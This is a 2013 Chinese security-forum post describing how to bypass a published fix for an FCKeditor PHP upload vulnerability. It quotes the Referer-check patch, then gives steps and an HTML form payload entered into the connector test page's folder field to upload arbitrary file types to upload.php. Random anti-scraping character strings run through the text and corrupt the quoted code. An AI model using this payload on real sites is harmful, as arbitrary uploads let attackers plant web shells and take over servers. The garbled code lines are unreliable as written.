找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
) U, e3 u0 v1 S8 f' R- z网上给出的修复方案是
( s: Z% L- F* m2 F/ _: i5 `& J修复方法,删除FCK编辑器用其他的编辑器
# E% b3 f# U' g: w% r- x或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
$ S  n3 t6 k4 @! q3 I在
5 ^8 [& k+ x3 x5 c; Q+ F0 L5 xrequire(‘config.php’);
: l; Y8 W; f4 \( w3 W: p! ^5 Grequire(‘util.php’);. z4 {) V4 J% {+ S8 a
的下面添加以下代码—————————–
7 t: Z; S: Y' D8 [" W9 l  K) u//防止外部提交
: q4 x* b+ u/ I& z  C( @: tfunction outsidepost()' {; M* D5 c* x6 m$ h
{* O* ?/ E. ]0 @% _5 e: w; L
$servername=$_SERVER['SERVER_NAME'];$ q# T& `' H6 A8 U
$sub_from=@$_SERVER['HTTP_REFERER'];& w/ m4 x  o, S3 j" i& F0 l) }1 @
$sub_len=strlen($servername);
  @* D. @( Q; g6 D/ C& b4 k$checkfrom=substr($sub_from,7,$sub_len);3 @2 n1 j5 F/ L% x- ~6 e1 V
if($checkfrom!=$servername){; X! h( X! z+ W' W( F
echo(“you don’t outsidepost!”);( i% j  F: Z- l& \" \, \
exit;
  `$ G; K1 ~! F* t& m2 Y) j0 R}* {# M' x3 q) W5 q' I# }$ n1 \
}' o; J+ Z- v' N
outsidepost();7 C# Z% a5 [; c  p: y! d% ?9 X
防止外部提交,但是没有防止内部提交,
2 H; b7 C; x* I7 N, i( `利用方法:& `2 m8 R1 Z) {! |8 B- d
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
) q/ b! C" d# Y4 |2 n9 D2,在Current Folder 框输入# ~$ \6 c  J! _9 C
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
8 W2 W& f7 k5 r- Z) A* K' l' Q然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。) q0 e, z5 Q3 U' ?. k* M. Z
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表